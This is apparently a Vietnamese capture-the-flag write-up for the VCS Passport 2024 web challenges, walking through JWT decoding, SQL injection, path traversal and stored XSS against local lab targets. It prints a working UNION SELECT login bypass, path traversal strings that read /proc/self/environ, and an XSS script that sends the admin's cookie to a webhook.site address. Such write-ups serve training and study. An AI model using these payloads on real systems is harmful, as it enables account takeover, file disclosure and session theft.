← Back to home

Writeup VCS Passpost 2024 [WEB]

Bài Web01-Flag1

Khi bấm vào link, mình thấy giao diện như sau:

image

Sau đó đọc source code thấy route /freeflag:

image

image

Sau đó thấy server trả về session như hình

image

=> Có thể là jwt. Vào trang jwt.io check:

image

=> Flag: VCS{Web01-Flag1-680c37cc-6147-4d08-8c11 29c91b2a50bf}

Bài Web01-Flag2

Sau khi đọc source code, thấy chỉ lấy được Flag02 trong trường hợp login với admin

image

Trước tiên thì tìm hiểu xem cơ chế mà server xử lý login như nào

image

image

Hàm execute đã trực tiếp nối input của người dùng (username) vào trực tiếp câu lệnh SQL => SQLInjection Server kiểm tra trước xem có tồn tại username không, nếu có thì lấy password đã được hash md5 (lưu trữ) trong database, và lấy password người dùng nhập, hash md5 password đó => Kiểm tra xem 2 hash trùng nhau không => Trùng thì đăng nhập thành công.

Hoàn toàn có thể tận dụng lỗi SQL Injection trên, union select 1 tài khoản admin và 1 mật khẩu đã được mã hóa md5

image

Đọc source => Sử dụng SQLite3

Sau đó vào Burp Suite, chỉnh giá trị username như sau:

abc") UNION SELECT 'admin', '202cb962ac59075b964b07152d234b70'-

Password cung cấp: 123

Ở đây để phần đầu username là abc, để server không tìm thấy user có username là abc thì user phía sau được lấy => Fake được user admin

image

image

Bài Web01-Flag3

Đọc file start.sh:

image

Thấy $FLAG3 chưa unset => vẫn nằm trên environ của tiến trình.

Khi đọc src thì mình nhận ra field title không hề được validate:

image

image

Ý tưởng là mình sẽ inject vào field title để thực hiện Path Traversal, đọc file /proc/self/environ hoặc /proc/1/environ

Đầu tiên mình tạo request với CURL:

curl.exe -X POST http://localhost:9001/upload-meme -F "meme=@dockerfile" -F "title=title" -x 127.0.0.1:8080 -v

Qua Burp Suite

image

image

Sửa title thành

aaaaaaaa", "../../../../../../../proc/self/environ") --

image

Bài Web04

image

Đây là code python, trong index có hàm render_template() không bị SSTI (render_template_string thì bị)

Mình để ý đến /feedback

image

subject được đưa vào nối chuỗi => Có thể bị Path Traversal

Sau khi xem và tìm hiểu thì hàm unidecode() có thể chuyển \, \\ về / => bypass được '/'

Xem docker và check được user có thể ghi vào folder errors

image

Ý tưởng là mình sẽ Path Traversal qua field subject và thực hiện lệnh gì đó qua field content

image

Lấy được flag trong config (app.config['FLAG'] = os.environ['FLAG'])

image

Bài Web06

image

Khi đọc source mình để ý 2 hàm dưới

image

Check tiếp hàm register

image

Nhận thấy emailbio đã bị filter XSS. Còn username được lấy từ session[“username”]. Mà username trong hàm register lấy trực tiếp từ người dùng => usernameuntrusted data

Hàm report profile => khả năng được gửi lên để admin xem => sẽ ra sao nếu report 1 nick có username với payload xss để cướp cookie admin khi xem Đầu tiên tạo 1 user có username:

<script>fetch(`https://webhook.site/d15deb00-b0fb-43ad-a288480ba00c2c37?cookie=${document.cookie}`)</script>

image

Sau đó tạo user khác, mục đích để lấy nick này report nick trên

image

Ví dụ: http://localhost:9006/profile/3ab3a9de-3571-48a4-bb01-257486e69f3a

image

Check webhook

image

Flag: VCS{web06-2f29cec6-b8ea-4126-a2cd-a213bb332150}